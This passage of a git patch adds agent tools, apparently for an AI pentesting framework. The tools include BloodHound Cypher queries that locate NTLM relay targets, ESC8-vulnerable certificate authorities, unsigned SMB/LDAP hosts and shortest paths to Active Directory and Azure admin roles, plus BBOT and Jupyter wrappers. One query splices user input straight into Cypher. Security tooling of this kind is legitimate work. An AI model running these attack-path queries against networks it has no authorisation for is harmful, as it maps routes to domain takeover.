find_unsupported_operating_systems(self): + query = """ + MATCH (c:Computer) + WHERE c.operatingsystem =~ '(?i).*Windows.* (2000|2003|2008|2012|xp|vista|7|8|me|nt).*' + RETURN c + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_users_with_no_password_required(self): + query = """ + MATCH (u:User) + WHERE u.passwordnotreqd = true + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_users_password_not_rotated(self): + query = """ + WITH 365 as days_since_change + MATCH (u:User) + WHERE u.pwdlastset < (datetime().epochseconds - (days_since_change * 86400)) + AND NOT u.pwdlastset IN [-1.0, 0.0] + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_nested_tier_zero_groups(self): + query = """ + MATCH p=(t:Group)<-[:MemberOf*..]-(s:Group) + WHERE t.highvalue = true + AND NOT s.objectid ENDS WITH '-512' + AND NOT s.objectid ENDS WITH '-519' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_disabled_tier_zero_principals(self): + query = """ + MATCH (n:Base) + WHERE n.highvalue = true + AND n.enabled = false + AND NOT n.objectid ENDS WITH '-502' + AND NOT n.objectid ENDS WITH '-500' + RETURN n + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_principals_reversible_encryption(self): + query = """ + MATCH (n:Base) + WHERE n.encryptedtextpwdallowed = true + RETURN n + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_principals_des_only_kerberos(self): + query = """ + MATCH (n:Base) + WHERE n.enabled = true + AND n.usedeskeyonly = true + RETURN n + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_principals_weak_kerberos_encryption(self): + query = """ + MATCH (u:Base) + WHERE 'DES-CBC-CRC' IN u.supportedencryptiontypes + OR 'DES-CBC-MD5' IN u.supportedencryptiontypes + OR 'RC4-HMAC-MD5' IN u.supportedencryptiontypes + RETURN u + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_tier_zero_non_expiring_passwords(self): + query = """ + MATCH (u:User) + WHERE u.enabled = true + AND u.pwdneverexpires = true + AND u.highvalue = true + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + # NTLM Relay Attacks + @tool_method + async def find_ntlm_relay_edges(self): + query = """ + MATCH p = (n:Base)-[:CoerceAndRelayNTLMToLDAP|CoerceAndRelayNTLMToLDAPS|CoerceAndRelayNTLMToADCS|CoerceAndRelayNTLMToSMB]->(:Base) + RETURN p LIMIT 500 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_esc8_vulnerable_cas(self): + query = """ + MATCH (n:EnterpriseCA) + WHERE n.hasvulnerableendpoint=true + RETURN n + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_computers_outbound_ntlm_deny(self): + query = """ + MATCH (c:Computer) + WHERE c.restrictoutboundntlm = True + RETURN c LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_computers_in_protected_users(self): + query = """ + MATCH p = (:Base)-[:MemberOf*1..]->(g:Group) + WHERE g.objectid ENDS WITH "-525" + RETURN p LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_dcs_vulnerable_ntlm_relay(self): + query = """ + MATCH p = (dc:Computer)-[:DCFor]->(:Domain) + WHERE (dc.ldapavailable = True AND dc.ldapsigning = False) + OR (dc.ldapsavailable = True AND dc.ldapsepa = False) + OR (dc.ldapavailable = True AND dc.ldapsavailable = True AND dc.ldapsigning = False and dc.ldapsepa = True) + RETURN p + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_computers_webclient_running(self): + query = """ + MATCH (c:Computer) + WHERE c.webclientrunning = True + RETURN c LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_computers_no_smb_signing(self): + query = """ + MATCH (n:Computer) + WHERE n.smbsigning = False + RETURN n + """ + return await self.query_bloodhound(query) + + # Azure - General + @tool_method + async def find_global_administrators(self): + query = """ + MATCH p = (:AZBase)-[:AZGlobalAdmin*1..]->(:AZTenant) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_high_privileged_role_members(self): + query = """ + MATCH p=(t:AZRole)<-[:AZHasRole|AZMemberOf*1..2]-(:AZBase) + WHERE t.name =~ '(?i)(Global Administrator|User Access Administrator|Privileged Role Administrator|Privileged Authentication Administrator|Partner Tier1 Support|Partner Tier2 Support)' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Azure - Shortest Paths + @tool_method + async def find_paths_from_entra_to_tier_zero(self): + query = """ + MATCH p=shortestPath((s:AZUser)-[r*1..]->(t:AZBase)) + WHERE t.highvalue = true AND t.name =~ '(?i)(Global Administrator|User Access Administrator|Privileged Role Administrator|Privileged Authentication Administrator|Partner Tier1 Support|Partner Tier2 Support)' AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_paths_to_privileged_roles(self): + query = """ + MATCH p=shortestPath((s:AZBase)-[r*1..]->(t:AZRole)) + WHERE t.name =~ '(?i)(Global Administrator|User Access Administrator|Privileged Role Administrator|Privileged Authentication Administrator|Partner Tier1 Support|Partner Tier2 Support)' AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_paths_from_azure_apps_to_tier_zero(self): + query = """ + MATCH p=shortestPath((s:AZApp)-[r*1..]->(t:AZBase)) + WHERE t.highvalue = true AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_paths_to_azure_subscriptions(self): + query = """ + MATCH p=shortestPath((s:AZBase)-[r*1..]->(t:AZSubscription)) + WHERE s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Azure - Microsoft Graph + @tool_method(name="sp_app_role_grant") + async def find_service_principals_with_app_role_grant(self): + query = """ + MATCH p=(:AZServicePrincipal)-[:AZMGGrantAppRoles]->(:AZTenant) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method(name="find_sp_graph_assignments") + async def find_service_principals_with_graph_assignments(self): + query = """ + MATCH p=(:AZServicePrincipal)-[:AZMGAppRoleAssignment_ReadWrite_All|AZMGApplication_ReadWrite_All|AZMGDirectory_ReadWrite_All|AZMGGroupMember_ReadWrite_All|AZMGGroup_ReadWrite_All|AZMGRoleManagement_ReadWrite_Directory|AZMGServicePrincipalEndpoint_ReadWrite_All]->(:AZServicePrincipal) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Azure - Hygiene + @tool_method + async def find_foreign_tier_zero_principals(self): + query = """ + MATCH (n:AZServicePrincipal) + WHERE n.highvalue = true + AND NOT toUpper(n.appownerorganizationid) = toUpper(n.tenantid) + AND n.appownerorganizationid CONTAINS '-' + RETURN n + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_synced_tier_zero_principals(self): + query = """ + MATCH (ENTRA:AZBase) + MATCH (AD:Base) + WHERE ENTRA.onpremsyncenabled = true + AND ENTRA.onpremid = AD.objectid + AND AD.highvalue = true + RETURN ENTRA + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_external_tier_zero_users(self): + query = """ + MATCH (n:AZUser) + WHERE n.highvalue = true + AND n.name CONTAINS '#EXT#@' + RETURN n + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_disabled_azure_tier_zero_principals(self): + query = """ + MATCH (n:AZBase) + WHERE n.highvalue = true + AND n.enabled = false + RETURN n + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_devices_unsupported_os(self): + query = """ + MATCH (n:AZDevice) + WHERE n.operatingsystem CONTAINS 'WINDOWS' + AND n.operatingsystemversion =~ '(10.0.19044|10.0.22000|10.0.19043|10.0.19042|10.0.19041|10.0.18363|10.0.18362|10.0.17763|10.0.17134|10.0.16299|10.0.15063|10.0.14393|10.0.10586|10.0.10240|6.3.9600|6.2.9200|6.1.7601|6.0.6200|5.1.2600|6.0.6003|5.2.3790|5.0.2195).?.*' + RETURN n + LIMIT 100 + """ + return await self.query_bloodhound(query) + + # Azure - Cross Platform Attack Paths + @tool_method + async def find_entra_users_in_domain_admins(self): + query = """ + MATCH p = (:AZUser)-[:SyncedToADUser]->(:User)-[:MemberOf]->(t:Group) + WHERE t.objectid ENDS WITH '-512' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_onprem_users_owning_entra_objects(self): + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZOwns]->(:AZBase) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_onprem_users_in_entra_groups(self): + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method(name="templates_no_security_ext") + async def find_templates_no_security_extension(self): + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) + WHERE ct.nosecurityextension = true + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method(name="templates_with_user_san") + async def find_templates_with_user_specified_san(self): + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(eca:EnterpriseCA) + WHERE eca.isuserspecifiessanenabled = True + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_ca_administrators(self): + query = """ + MATCH p = (:Base)-[:ManageCertificates|ManageCA]->(:EnterpriseCA) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method(name="onprem_users_direct_entra_roles") + async def find_onprem_users_with_direct_entra_roles(self): + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZHasRole]->(:AZRole) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method(name="onprem_users_group_entra_roles") + async def find_onprem_users_with_group_entra_roles(self): + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup)-[:AZHasRole]->(:AZRole) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method(name="onprem_users_direct_azure_roles") + async def find_onprem_users_with_direct_azure_roles(self): + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZOwner|AZUserAccessAdministrator|AZGetCertificates|AZGetKeys|AZGetSecrets|AZAvereContributor|AZKeyVaultContributor|AZContributor|AZVMAdminLogin|AZVMContributor|AZAKSContributor|AZAutomationContributor|AZLogicAppContributor|AZWebsiteContributor]->(:AZBase) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method(name="onprem_users_group_azure_roles") + async def find_onprem_users_with_group_azure_roles(self): + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup)-[:AZOwner|AZUserAccessAdministrator|AZGetCertificates|AZGetKeys|AZGetSecrets|AZAvereContributor|AZKeyVaultContributor|AZContributor|AZVMAdminLogin|AZVMContributor|AZAKSContributor|AZAutomationContributor|AZLogicAppContributor|AZWebsiteContributor]->(:AZBase) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_paths_user_to_user( + self, source_user: str, target_user: str, domain: str + ) -> dict: + """search for potential exploit/attack paths from source_user to target_user on the given domain""" + query = f""" + MATCH p=shortestPath((user1:User)-[*]->(user2:User)) + WHERE user1.name = "{source_user.upper()}@{domain.upper()}" + AND user2.name = "{target_user.upper()}@{domain.upper()}" + RETURN p + """ + return await self.query_bloodhound(query) + + @tool_method + async def upload_collection_zip(self, filename: str) -> dict: + """Upload a Bloodhound collection zip file (that was collected via the SharpHound tool.)""" + + if self._api_auth_token is None or self._api_auth_token.get("auth_expired", True): + await self._api_authenticate() + + # 1. start Bloodhound server upload job + start_job = { + "url": f"http://{self.config['url']}/api/v2/file-upload/start", + "headers": { + "accept": "application/json", + "Authorization": f"Bearer {self._api_auth_token['session_token']}", + }, + } + job_record = await self._async_post_request(resp_type="json", **start_job) + job_record = job_record["data"] + + if not job_record.get("id", False): + err_msg = ( + f"Could not start collection upload on Bloodhound server. Error: {job_record}." + ) + logger.error(self._rich_print(err_msg)) + return err_msg + + # 2. upload Bloodhound collection files + upload_fn = os.path.abspath(filename) + upload_job = { + "url": f"http://{self.config['url']}/api/v2/file-upload/{job_record['id']}", + "headers": { + "accept": "application/zip", + "Authorization": f"Bearer {self._api_auth_token['session_token']}", + }, + } + try: + upload_job_status = await self._async_post_file(filename=upload_fn, **upload_job) + logger.info( + self._rich_print( + f"Collection file upload initiated: {upload_fn}.\n\nStatus: {upload_job_status}" + ) + ) + except Exception as e: + err_msg = f"Error uploading collection file to Bloodhound: {e}" + logger.error(self._rich_print(err_msg)) + return err_msg + + # await asyncio.sleep(45) + # 3. end Bloodhound server upload job + end_job = { + "url": f"http://{self.config['url']}/api/v2/file-upload/{job_record['id']}/end", + "headers": { + "accept": "application/json", + "Authorization": f"Bearer {self._api_auth_token['session_token']}", + }, + } + end_job_record = await self._async_post_request(resp_type="text", **end_job) + + # wait for upload to complete + upload_job_done, upload_job_status = await self.wait_for_upload_completion( + job_id=job_record["id"], seconds=60 + ) + if not upload_job_done: + err_msg = f"Timeout error of collection file upload for {upload_fn}.\n\n Dumping upload job status: {upload_job_status}" + logger.error(self._rich_print(err_msg)) + return err_msg + + success_msg = f"Successfully uploaded {filename} collection file to Bloodhound." + logger.info(self._rich_print(success_msg)) + + return success_msg + + """ Utilities """ + + async def clear_database(self) -> str: + """clears the bloodhound database""" + clear_db_req = { + "url": f"http://{self.config['url']}/api/v2/clear-database", + "headers": { + "accept": "application/plain", + "Content-Type": "application/json", + "Authorization": f"Bearer {self._api_auth_token['session_token']}", + }, + "data": json.dumps( + { + "deleteCollectedGraphData": True, + "deleteFileIngestHistory": False, + "deleteDataQualityHistory": True, + "deleteAssetGroupSelectors": [0], + } + ), + } + clear_status = await self._async_post_request(**clear_db_req) + logger.info(self._rich_print(f"Cleared Bloodhound database - {clear_status}")) + return clear_status + + async def wait_for_upload_completion(self, job_id: int, seconds: int = 10) -> tuple[bool, dict]: + """ """ + start_time = int(time.time()) + while True: + await asyncio.sleep(2) + job_done, job_status = await self.upload_job_status(job_id=job_id) + if job_done: + break + if start_time + seconds < int(time.time()): + break + return job_done, job_status + + async def upload_job_status(self, job_id: int) -> tuple[bool, dict]: + """ """ + upload_status_job = { + "url": f"http://{self.config['url']}/api/v2/file-upload?id={job_id!s}", + "headers": { + "accept": "application/json", + "Authorization": f"Bearer {self._api_auth_token['session_token']}", + }, + } + job_statuses = await self._async_get_request(resp_type="json", **upload_status_job) + job_status = [j for j in job_statuses["data"] if j["id"] == job_id][0] + job_done = True if job_status["status"] == 2 else False + return job_done, job_status + + async def _async_get_request(self, resp_type: str = None, **kwargs) -> dict: + """ """ + async with aiohttp.ClientSession() as session: + async with session.get(**kwargs) as resp: + if resp_type == "json": + return await resp.json() + if resp_type == "text": + return await resp.text() + return str(resp) + + async def _async_post_request(self, resp_type: str = None, **kwargs) -> dict: + """ """ + response = None + async with aiohttp.ClientSession() as session: + async with session.post(**kwargs) as resp: + if resp_type == "json": + response = await resp.json() + elif resp_type == "text": + response = await resp.text() + else: + response = str(resp) + return response + + async def _async_post_file(self, url: str, filename: str, **kwargs) -> dict: + """ """ + response = None + with open(filename, "rb") as fh: + async with aiohttp.ClientSession() as session: + async with session.post(url, data=fh, **kwargs) as resp: + if resp.status != 202: + resp.raise_for_status() + response = resp + return response + + def _rich_print(self, text: str): + """ """ + return rich.print( + Panel( + f"[white]{text}", + title="[red]Bloodhound", + style="red", + ) + ) \ No newline at end of file From 152ea1023f78c9ebf3ec77a1d4d657d845e7571d Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Fri, 22 Aug 2025 06:14:40 -0600 Subject: [PATCH 04/60] bbot --- dreadnode/agent/tools/__init__.py | 7 +- dreadnode/agent/tools/bbot/__init__.py | 0 dreadnode/agent/tools/bbot/tool.py | 49 + dreadnode/agent/tools/jupyter/__init__.py | 0 dreadnode/agent/tools/jupyter/tool.py | 687 +++++++++++ dreadnode/agent/tools/mythic/__init__.py | 0 .../agent/tools/mythic/apollo/__init__.py | 0 dreadnode/agent/tools/mythic/apollo/tool.py | 1017 +++++++++++++++++ .../agent/tools/pentest/internal/tool.py | 711 ++++++++++++ dreadnode/agent/tools/skopeo/__init__.py | 0 dreadnode/agent/tools/skopeo/tool.py | 156 +++ dreadnode/agent/tools/ssh/__init__.py | 0 dreadnode/agent/tools/ssh/tool.py | 123 ++ dreadnode/agent/tools/task/__init__.py | 0 dreadnode/agent/tools/task/finish.py | 41 + dreadnode/agent/tools/task/quit.py | 15 + dreadnode/agent/tools/task/review.py | 35 + dreadnode/agent/tools/task/todo.py | 112 ++ pyproject.toml | 3 + 19 files changed, 2953 insertions(+), 3 deletions(-) create mode 100644 dreadnode/agent/tools/bbot/__init__.py create mode 100644 dreadnode/agent/tools/bbot/tool.py create mode 100644 dreadnode/agent/tools/jupyter/__init__.py create mode 100644 dreadnode/agent/tools/jupyter/tool.py create mode 100644 dreadnode/agent/tools/mythic/__init__.py create mode 100644 dreadnode/agent/tools/mythic/apollo/__init__.py create mode 100644 dreadnode/agent/tools/mythic/apollo/tool.py create mode 100644 dreadnode/agent/tools/pentest/internal/tool.py create mode 100644 dreadnode/agent/tools/skopeo/__init__.py create mode 100644 dreadnode/agent/tools/skopeo/tool.py create mode 100644 dreadnode/agent/tools/ssh/__init__.py create mode 100644 dreadnode/agent/tools/ssh/tool.py create mode 100644 dreadnode/agent/tools/task/__init__.py create mode 100644 dreadnode/agent/tools/task/finish.py create mode 100644 dreadnode/agent/tools/task/quit.py create mode 100644 dreadnode/agent/tools/task/review.py create mode 100644 dreadnode/agent/tools/task/todo.py diff --git a/dreadnode/agent/tools/__init__.py b/dreadnode/agent/tools/__init__.py index a8fdc334..bd05e798 100644 --- a/dreadnode/agent/tools/__init__.py +++ b/dreadnode/agent/tools/__init__.py @@ -1,10 +1,11 @@ -from dreadnode.agent.tools.base import Tool, tool, tool_method -from dreadnode.agent.tools.task import finish_task +from dreadnode.agent.tools.base import Tool, Toolset, tool, tool_method +from dreadnode.agent.tools.task import finish from dreadnode.agent.tools.todo import update_todo __all__ = [ "Tool", - "finish_task", + "Toolset", + "finish", "tool", "tool_method", "update_todo", diff --git a/dreadnode/agent/tools/bbot/__init__.py b/dreadnode/agent/tools/bbot/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/bbot/tool.py b/dreadnode/agent/tools/bbot/tool.py new file mode 100644 index 00000000..077dc51b --- /dev/null +++ b/dreadnode/agent/tools/bbot/tool.py @@ -0,0 +1,49 @@ +from bbot import Preset, Scanner +from pydantic import Field +from rich import print + +from dreadnode.agent.tools import Toolset + + +class BBotTool(Toolset): + scanner: Scanner | None = Field(default=None, exclude=True) + + @classmethod + async def create(cls, name="bbot-agent", **kwargs): + """Factory method to create and initialize a BBOT Tool.""" + try: + instance = cls(name=name, **kwargs) + except Exception as e: + raise ValueError(f"Failed to create BBOT Tool with name '{name}': {e}") + + return instance + + def get_presets(self) -> list[str] | None: + """Return the presets available in the BBOT Agent.""" + preset = Preset(_log=True, name="bbot_cli_main") + + print(preset.all_presets.keys()) + + def get_modules(self) -> list[str] | None: + """Return the modules available in the BBOT Agent.""" + preset = Preset(_log=True, name="bbot_cli_main") + + print(preset.module_loader.all_module_choices) + print(preset.module_loader.output_module_choices) + + print(preset.module_loader.flag_choices) + return None + + +# Usage +if __name__ == "__main__": + import asyncio + + async def main(): + # Try creating with minimal arguments first + agent = await BBotTool.create() + agent.get_presets() + agent.get_modules() + print(f"BBOT Tool created with name: {agent.name}") + + asyncio.run(main()) diff --git a/dreadnode/agent/tools/jupyter/__init__.py b/dreadnode/agent/tools/jupyter/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/jupyter/tool.py b/dreadnode/agent/tools/jupyter/tool.py new file mode 100644 index 00000000..f69a9dce --- /dev/null +++ b/dreadnode/agent/tools/jupyter/tool.py @@ -0,0 +1,687 @@ +import asyncio +import re +import types +import typing as t +import uuid +from dataclasses import field +from pathlib import Path + +import aiodocker +import aiodocker.containers +import aiodocker.types +import aiohttp +import tenacity +from loguru import logger +from pydantic import BaseModel + +from dreadnode import log_output +from dreadnode.agent.tools import Toolset, tool_method + +# Helpers + +ANSI_ESCAPE_PATTERN = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])") + + +def strip_ansi_codes(text: str) -> str: + return ANSI_ESCAPE_PATTERN.sub("", text) + + +def parse_memory_limit(limit: str) -> int: + """Convert memory limit string to bytes integer.""" + if limit.lower().endswith("g"): + return int(float(limit[:-1]) * 1024 * 1024 * 1024) + if limit.lower().endswith("m"): + return int(float(limit[:-1]) * 1024 * 1024) + if limit.lower().endswith("k"): + return int(float(limit[:-1]) * 1024) + # Assume bytes if no unit specified + return int(float(limit)) + + +# Models + +AnyDict = dict[str, t.Any] +KernelState = t.Literal["starting", "idle", "busy"] + + +class NotebookCell(BaseModel): + """A cell in a Jupyter notebook.""" + + cell_type: t.Literal["code", "markdown", "raw"] + source: str | list[str] + metadata: AnyDict = {} + outputs: list[AnyDict] = [] + execution_count: int | None = None + + @classmethod + def from_source(cls, source: str | list[str]) -> "NotebookCell": + """Create a code cell from a source string.""" + return cls(cell_type="code", source=source, metadata={}, outputs=[], execution_count=None) + + +class Notebook(BaseModel): + """A Jupyter notebook.""" + + cells: list[NotebookCell] = field(default_factory=list) + metadata: AnyDict = field(default_factory=dict) + nbformat: int = 4 + nbformat_minor: int = 5 + + @classmethod + def from_source(cls, source: str | list[str]) -> "Notebook": + """Create a notebook from a source string.""" + return cls(cells=[NotebookCell.from_source(source)]) + + @classmethod + def load(cls, path: Path | str) -> "Notebook": + """Load a notebook from a file.""" + return cls.model_validate_json(Path(path).read_text()) + + def save(self, path: Path | str) -> None: + """Save a notebook to a file.""" + Path(path).write_text(self.model_dump_json()) + + def __add__(self, other: "Notebook | NotebookCell | str") -> "Notebook": + """Add a cell to the notebook.""" + if isinstance(other, NotebookCell): + return Notebook(cells=[*self.cells, other]) + if isinstance(other, Notebook): + return Notebook(cells=self.cells + other.cells) + if isinstance(other, str): + return self + NotebookCell.from_source(other) + raise TypeError(f"Cannot add {type(other)} to Notebook") + + def to_markdown(self) -> str: + """Convert the notebook to a markdown string.""" + markdown_chunks: list[str] = [] + + for cell in self.cells: + source = "".join(cell.source) if isinstance(cell.source, list) else cell.source + if not source.strip(): + continue + + if cell.cell_type == "markdown": + markdown_chunks.append(source.strip()) + markdown_chunks.append("\n\n") + + elif cell.cell_type == "code": + markdown_chunks.append("```python\n") + markdown_chunks.append(source.strip()) + markdown_chunks.append("\n```") + markdown_chunks.append("\n\n") + + return "".join(markdown_chunks).strip() + + +class KernelExecution(BaseModel): + """Result of executing code in a kernel.""" + + source: str + outputs: list[AnyDict] = [] + error: str | None = None + execution_count: int | None = None + + @property + def success(self) -> bool: + """Check if the execution was successful.""" + return not self.error + + def to_cell(self) -> NotebookCell: + """Convert the execution result to a notebook cell.""" + return NotebookCell( + cell_type="code", + source=self.source.splitlines(), + metadata={}, + outputs=self.outputs, + execution_count=self.execution_count, + ) + + def to_notebook(self) -> Notebook: + """Convert the execution result to a notebook.""" + return Notebook(cells=[self.to_cell()]) + + def to_str(self) -> str: + """Get the stdout output as a string.""" + output_str: str = "" + for output in self.outputs: + if output["output_type"] == "stream": + output_str += output["text"] + elif ( + output["output_type"] in ["display_data", "execute_result"] + and "text/plain" in output["data"] + ): + output_str += output["data"]["text/plain"] + + return output_str + (self.error or "") + + +# Exceptions + + +class PythonKernelNotRunningError(Exception): + """Raised when trying to manage a kernel that is not running.""" + + def __init__(self, message: str = "Kernel is not running") -> None: + super().__init__(message) + + +class PythonKernelStartError(Exception): + """Raised when the kernel fails to start.""" + + def __init__(self, message: str = "Failed to start kernel") -> None: + super().__init__(message) + + +# Main class + + +class PythonKernel(Toolset): + """A Python kernel for executing code.""" + + def __init__( + self, + image: str = "jupyter/datascience-notebook:latest", + *, + memory_limit: str = "4g", + kernel_name: str = "python3", + work_dir: Path | str | None = None, + volumes: list[str] | None = None, + ) -> None: + """Create a python kernel.""" + self.image = image + self.memory_limit = memory_limit + self.kernel_name = kernel_name + self.volumes = volumes or [] + + self._token = uuid.uuid4().hex + + self._client: aiodocker.Docker | None = None + self._container: aiodocker.containers.DockerContainer | None = None + self._work_dir = Path(work_dir or f".work/{uuid.uuid4().hex[:8]}") + self._kernel_id: str | None = None + self._base_url: str | None = None + + @property + def base_url(self) -> str: + """Get the base URL for the Jupyter server.""" + if not self._base_url: + raise PythonKernelNotRunningError + return self._base_url + + @property + def ws_url(self) -> str: + """Get the websocket URL for the kernel.""" + if not self._base_url or not self._kernel_id: + raise PythonKernelNotRunningError + return f"{self._base_url.replace('http', 'ws')}/api/kernels/{self._kernel_id}/channels?token={self._token}" + + @property + def client(self) -> aiodocker.Docker: + """Get the docker client.""" + if not self._client: + self._client = aiodocker.Docker() + return self._client + + @property + def container(self) -> aiodocker.containers.DockerContainer: + """Get the running docker container.""" + if not self._container: + raise PythonKernelNotRunningError + return self._container + + @property + def work_dir(self) -> Path: + return self._work_dir + + # Internals + + @logger.catch(message="Failed to start container", reraise=True) + async def _start_container(self) -> None: + try: + await self.client.images.inspect(self.image) + except aiodocker.exceptions.DockerError: + logger.info(f"Pulling {self.image} ...") + await self.client.images.pull(self.image) + + # Create and start container + container_config: aiodocker.types.JSONObject = { + "Image": self.image, + "ExposedPorts": {"8888/tcp": {}}, + "HostConfig": { + "Memory": parse_memory_limit(self.memory_limit), + "MemorySwap": -1, # Disable swap + "PortBindings": { + "8888/tcp": [{"HostPort": "0"}], # Let Docker choose a port + }, + "Binds": [f"{self._work_dir.absolute()!s}:/home/jovyan/work", *self.volumes], + }, + "Env": [ + f"JUPYTER_TOKEN={self._token}", + "JUPYTER_ALLOW_INSECURE_WRITES=true", + ], + "Cmd": ["jupyter", "server", "--ip=0.0.0.0", "--no-browser"], + } + + self._container = await self.client.containers.create(config=container_config) + await self._container.start() + + container_info = await self._container.show() + host_port = container_info["NetworkSettings"]["Ports"]["8888/tcp"][0]["HostPort"] + self._base_url = f"http://localhost:{host_port}" + + await self._wait_for_jupyter() + + logger.debug( + f"Python kernel container started at {self._base_url} with token {self._token} (Memory: {self.memory_limit})", + ) + + @logger.catch(message="Jupyter server did not start", reraise=True) + @tenacity.retry(stop=tenacity.stop_after_delay(30), wait=tenacity.wait_fixed(1)) + async def _wait_for_jupyter(self) -> None: + container_info = await self.container.show() + if container_info["State"]["Status"] != "running": + raise PythonKernelStartError("Container did not stay running") + + async with ( + aiohttp.ClientSession() as session, + session.get( + f"{self.base_url}/api/status", + params={"token": self._token}, + timeout=1, + ) as response, + ): + response.raise_for_status() + + @logger.catch(message="Failed to start kernel", reraise=True) + async def _start_kernel(self) -> None: + async with ( + aiohttp.ClientSession() as session, + session.post( + f"{self._base_url}/api/kernels", + params={"token": self._token}, + json={"name": self.kernel_name}, + ) as response, + ): + response.raise_for_status() + + kernel_info = await response.json() + self._kernel_id = kernel_info["id"] + + logger.debug(f"Started kernel '{self.kernel_name}' ({self._kernel_id})") + + @logger.catch(message="Failed to delete kernel") + async def _delete_kernel(self) -> None: + if not self._kernel_id: + return + + async with ( + aiohttp.ClientSession() as session, + session.delete( + f"{self._base_url}/api/kernels/{self._kernel_id}", + params={"token": self._token}, + ) as response, + ): + response.raise_for_status() + + self._kernel_id = None + logger.debug(f"Deleted kernel '{self.kernel_name}' ({self._kernel_id})") + + @logger.catch(message="Failed to delete container") + async def _delete_container(self) -> None: + if not self._container: + return + + container_info = await self._container.show() + container_id = container_info["Id"] + + logger.debug(f"Stopping container {container_id[:12]}...") + await self._container.stop(timeout=5) + await self._container.delete() + + self._container = None + logger.debug(f"Removed container {container_id[:12]}") + + # Init / Shutdown + + async def init(self) -> "PythonKernel": + """Initialize the container and kernel server.""" + await self.shutdown() + + self._client = aiodocker.Docker() + + await self._start_container() + await self._start_kernel() + return self + + async def shutdown(self) -> None: + """Clean up resources and reset state.""" + if self._client is None: + return + + logger.debug("Shutting down kernel and container...") + + # First, delete the kernel + with logger.catch(Exception, message="Error during kernel shutdown"): + await self._delete_kernel() + + # Then, delete the container + with logger.catch(Exception, message="Error during container shutdown"): + await self._delete_container() + + # Close the Docker client + if self._client: + with logger.catch(Exception, message="Error during Docker client shutdown"): + await self._client.close() + self._client = None + + logger.debug("Kernel shutdown complete") + + async def __aenter__(self) -> "PythonKernel": + """Start a Jupyter server and kernel.""" + return await self.init() + + async def __aexit__( + self, + exc_type: type[BaseException] | None, + exc_val: BaseException | None, + exc_tb: types.TracebackType | None, + ) -> None: + """Stop the kernel and container.""" + await self.shutdown() + + async def get_container_logs(self) -> str: + """Get the logs of the container.""" + if not self._container: + return "" + + logs = await self._container.log(stdout=True, stderr=True) + return "\n".join(logs) + + @t.overload + async def execute( + self, + source: str | list[str], + *, + format: None = ..., + timeout: int = ..., + log_output: bool = ..., + ) -> KernelExecution: ... + + @t.overload + async def execute( + self, + source: str | list[str], + *, + format: t.Literal["str"], + timeout: int = ..., + log_output: bool = ..., + ) -> str: ... + + @t.overload + async def execute( + self, + source: str | list[str], + *, + format: t.Literal["cell"], + timeout: int = ..., + log_output: bool = 